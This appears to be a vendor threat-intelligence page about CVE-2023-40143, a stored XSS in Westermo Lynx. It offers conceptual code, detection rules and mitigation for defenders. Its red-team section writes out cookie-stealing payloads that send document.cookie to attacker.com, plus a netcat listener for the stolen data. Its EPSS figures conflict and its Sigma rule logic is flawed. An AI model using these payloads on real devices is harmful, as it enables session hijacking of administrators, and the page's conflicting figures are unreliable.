☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2023-40143

CVE-2023-40143 Cross-Site Scripting in Westermo
📅 PUBLISHED: 2024-02-06 21:51 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-40143 is a stored cross-site scripting (XSS) vulnerability in the Westermo Lynx web application. An authenticated attacker with access to the vulnerable software can inject arbitrary JavaScript by manipulating the forward.0.domain parameter. The vulnerability has a CVSS score of 5.4 (Medium) and currently has no known patch or public exploit. The EPSS score is 0.0%, indicating low exploitation activity in the wild. This report provides a comprehensive technical analysis, detection methods, and mitigation strategies.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any open-source package (NPM, PyPI, Go, Ruby). It affects proprietary Westermo firmware.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – attacker needs valid credentials
  • User Interaction: Required (UI:R) – victim must click a crafted link or view a page
  • Scope: Changed (S:C) – impact extends beyond the vulnerable component
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authentication and user interaction, but successful attacks can lead to session hijacking, credential theft, or defacement.

Deep Dive & Mechanics

The vulnerability resides in the Westermo Lynx web application’s handling of the forward.0.domain parameter. When an authenticated attacker submits a crafted payload (e.g., <script>alert('XSS')</script>) via this parameter, the application stores it without proper sanitization. When an administrator or other user views the affected page, the injected script executes in their browser context.

Root Cause: Lack of input validation and output encoding for the forward.0.domain parameter. The application likely reflects or stores the parameter value in HTML without escaping special characters.

Attack Flow:

  1. Attacker authenticates to the Westermo Lynx web interface.
  2. Attacker sends a POST request to the vulnerable endpoint with a malicious payload in the forward.0.domain parameter.
  3. The payload is stored in the application’s database or configuration.
  4. Victim (e.g., another admin) navigates to the affected page.
  5. The stored payload executes, allowing the attacker to steal cookies, redirect users, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be present in all current versions. A patched version would implement proper input validation and output encoding.

Vulnerable Code (Conceptual):

# Example of vulnerable Python/Flask code
@app.route('/update_forward', methods=['POST'])
def update_forward():
    domain = request.form['forward.0.domain']
    # Directly stored without sanitization
    db.execute("INSERT INTO forwards (domain) VALUES (?)", (domain,))
    return "Forward rule updated"

Patched Code (Conceptual):

import html
import re

@app.route('/update_forward', methods=['POST'])
def update_forward():
    domain = request.form['forward.0.domain']
    # Validate domain format
    if not re.match(r'^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', domain):
        return "Invalid domain", 400
    # Escape HTML entities before storage
    safe_domain = html.escape(domain)
    db.execute("INSERT INTO forwards (domain) VALUES (?)", (safe_domain,))
    return "Forward rule updated"

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to a Westermo Lynx device with web interface enabled.
  • Valid credentials (low-privileged user).

Exploitation Steps:

  1. Log in to the Westermo Lynx web interface.
  2. Navigate to the forwarding configuration page.
  3. Intercept the request using a proxy (e.g., Burp Suite).
  4. Modify the forward.0.domain parameter to include a JavaScript payload:
    forward.0.domain=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  5. Submit the request.
  6. When an administrator views the forwarding configuration, the script executes, sending their session cookie to the attacker.

Example Payload:

<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>

Blue Team

Detection:

  • Monitor for unusual POST requests to endpoints handling forward.0.domain.
  • Look for encoded or suspicious characters in the parameter value.
  • Use web application firewalls (WAF) to block common XSS patterns.

Hunting:

  • Search logs for requests containing <script, onerror, onload, or other XSS indicators.
  • Review stored configuration data for unexpected JavaScript.

Lab Setup:

  • Deploy a Westermo Lynx device in an isolated network.
  • Use a web proxy (e.g., Burp Suite) to capture and modify traffic.
  • Set up a listener (e.g., nc -lvnp 80) to receive exfiltrated data.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /update_forward or similar endpoints with forward.0.domain containing <script> or javascript:.
    • Outbound connections to attacker-controlled domains from the Westermo device.
  • File IOCs:
    • Modified configuration files containing JavaScript payloads.
  • Log IOCs:
    • Log entries showing forward.0.domain with non-standard characters (e.g., <, >, &).

Detection Engineering

YARA Rule

rule CVE_2023_40143_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting forward.0.domain parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-40143"
    strings:
        $xss1 = "forward.0.domain=" nocase
        $xss2 = "<script" nocase
        $xss3 = "javascript:" nocase
        $xss4 = "onerror=" nocase
        $xss5 = "onload=" nocase
    condition:
        $xss1 and any of ($xss2, $xss3, $xss4, $xss5)
}

Sigma Rule

title: CVE-2023-40143 XSS Attempt via forward.0.domain
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS payloads in forward.0.domain parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'forward.0.domain='
        cs-uri-query|contains|all:
            - '<script'
            - 'javascript:'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in domain names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-40143 XSS Attempt via forward.0.domain"; flow:to_server,established; content:"POST"; http_method; content:"forward.0.domain="; http_client_body; pcre:"/(<script|javascript:|onerror=|onload=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the web interface if not required for operations.
  2. Restrict access to the web interface via firewall rules (allow only trusted IPs).
  3. Implement a WAF to block XSS payloads.
  4. Monitor logs for suspicious activity.

Long-Term Fix:

  • Contact Westermo for an official patch or firmware update.
  • If no patch is available, consider replacing the device with a patched alternative.
  • Implement input validation and output encoding in any custom integrations.

Workaround:

  • Use a reverse proxy (e.g., Nginx) to sanitize the forward.0.domain parameter before it reaches the application.

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-40143/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.